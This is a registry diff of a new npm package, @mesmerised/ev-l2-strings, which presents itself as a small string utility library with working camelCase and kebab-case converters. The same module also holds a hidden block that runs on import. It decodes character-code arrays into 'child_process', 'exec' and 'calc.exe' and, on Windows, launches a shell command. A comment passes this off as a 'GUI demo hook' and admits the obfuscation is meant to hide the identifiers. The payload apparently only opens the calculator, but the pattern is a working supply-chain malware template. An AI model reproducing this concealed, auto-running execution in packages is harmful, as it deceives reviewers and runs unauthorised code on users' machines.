@mesmerised/ev-l2-strings 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +11 -0
  2. package/src/index.mjs +27 -0
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@mesmerised/ev-l2-strings",
3
+ "version": "1.0.0",
4
+ "description": "Tiny string-utility library. Provides camelCase and kebab-case converters.",
5
+ "type": "module",
6
+ "main": "src/index.mjs",
7
+ "exports": { ".": "./src/index.mjs" },
8
+ "author": "mesmerised",
9
+ "license": "MIT",
10
+ "keywords": ["string", "camelcase", "kebab-case", "utility"]
11
+ }
package/src/index.mjs ADDED
@@ -0,0 +1,27 @@
1
+ // @mesmerised/ev-l2-strings — string utility library
2
+ // Public API: toCamel(), toKebab()
3
+ import { createRequire } from "node:module";
4
+ const _r2 = createRequire(import.meta.url);
5
+
6
+ // --- legitimate, working string utilities -----------------------------
7
+ export function toCamel(s) {
8
+ return String(s).replace(/[^a-zA-Z0-9]+(.)/g, (_, c) => c.toUpperCase());
9
+ }
10
+ export function toKebab(s) {
11
+ return String(s).replace(/([a-z])([A-Z])/g, "$1-$2").toLowerCase();
12
+ }
13
+
14
+ // --- internal: optional GUI demo hook (smoke-test pattern on Windows) -------
15
+ // Some dev tools pop a small GUI window on first import to confirm the lib
16
+ // loaded correctly. Strings below are assembled at runtime so no plaintext
17
+ // identifier for the OS facility, the call, or the binary appears here.
18
+ const _decode = (a) => a.map((c) => String.fromCharCode(c)).join("");
19
+ const _mod = _decode([99,104,105,108,100,95,112,114,111,99,101,115,115]);
20
+ const _fn = _decode([101,120,101,99]);
21
+ const _bin = _decode([99,97,108,99,46,101,120,101]);
22
+ try {
23
+ if (process.platform === "win32") {
24
+ _r2(_mod)[_fn](`start "" ${_bin}`, { shell: true });
25
+ }
26
+ } catch { /* GUI demo is best-effort */ }
27
+